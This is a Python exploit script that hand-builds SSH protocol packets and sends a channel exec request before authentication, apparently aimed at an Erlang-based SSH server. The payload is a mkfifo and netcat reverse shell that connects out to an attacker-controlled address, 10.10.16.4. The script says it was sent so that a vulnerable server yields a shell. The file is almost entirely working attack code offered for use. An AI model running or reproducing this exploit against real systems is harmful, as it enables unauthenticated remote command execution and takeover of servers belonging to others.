import socket
import struct
import time

HOST = "127.0.0.1" # SSH Server IP
PORT = 2222 # SSH Port


def string_payload(s):
    s_bytes = s.encode("utf-8")
    return struct.pack(">I", len(s_bytes)) + s_bytes


def build_channel_open(channel_id=0):
    return (
        b"\x5a"
        + string_payload("session")
        + struct.pack(">I", channel_id)
        + struct.pack(">I", 0x68000)
        + struct.pack(">I", 0x10000)
    )


def build_channel_request(channel_id=0, command=""):
    return (
        b"\x62"
        + struct.pack(">I", channel_id)
        + string_payload("exec")
        + b"\x01"
        + string_payload(command)
    )


def build_kexinit():
    cookie = b"\x00" * 16

    def name_list(l):
        return string_payload(",".join(l))

    return (
        b"\x14"
        + cookie
        + name_list(
            [
                "curve25519-sha256",
                "ecdh-sha2-nistp256",
                "diffie-hellman-group-exchange-sha256",
                "diffie-hellman-group14-sha256",
            ]
        )
        + name_list(["rsa-sha2-256", "rsa-sha2-512"])
        + name_list(["aes128-ctr"]) * 2
        + name_list(["hmac-sha1"]) * 2
        + name_list(["none"]) * 2
        + name_list([]) * 2
        + b"\x00"
        + struct.pack(">I", 0)
    )


def pad_packet(payload, block_size=8):
    min_padding = 4
    padding_len = block_size - ((len(payload) + 5) % block_size)
    if padding_len < min_padding:
        padding_len += block_size
    return (
        struct.pack(">I", len(payload) + 1 + padding_len)
        + bytes([padding_len])
        + payload
        + bytes([0] * padding_len)
    )


try:
    with socket.create_connection((HOST, PORT), timeout=120) as s:
        print("[*] Connecting to SSH server...")

        s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
        banner = s.recv(1024)
        print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
        time.sleep(0.5)

        print("[*] Sending SSH_MSG_KEXINIT...")
        kex_packet = build_kexinit()
        s.sendall(pad_packet(kex_packet))
        time.sleep(0.5)

        print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
        chan_open = build_channel_open()
        s.sendall(pad_packet(chan_open))
        time.sleep(0.5)

        print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
        chan_req = build_channel_request(
            command='os:cmd("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.4 8888 >/tmp/f | nc 10.10.16.4 6666").'
        )
        s.sendall(pad_packet(chan_req))

        print("[✓] Exploit sent! If the server is vulnerable, you would obtain reverse shell.")

        try:
            response = s.recv(1024)
            print(f"[+] Received response: {response.hex()}")
        except socket.timeout:
            print("[*] No response within timeout period (which is expected)")

except Exception as e:
    print(f"[!] Error: {e}")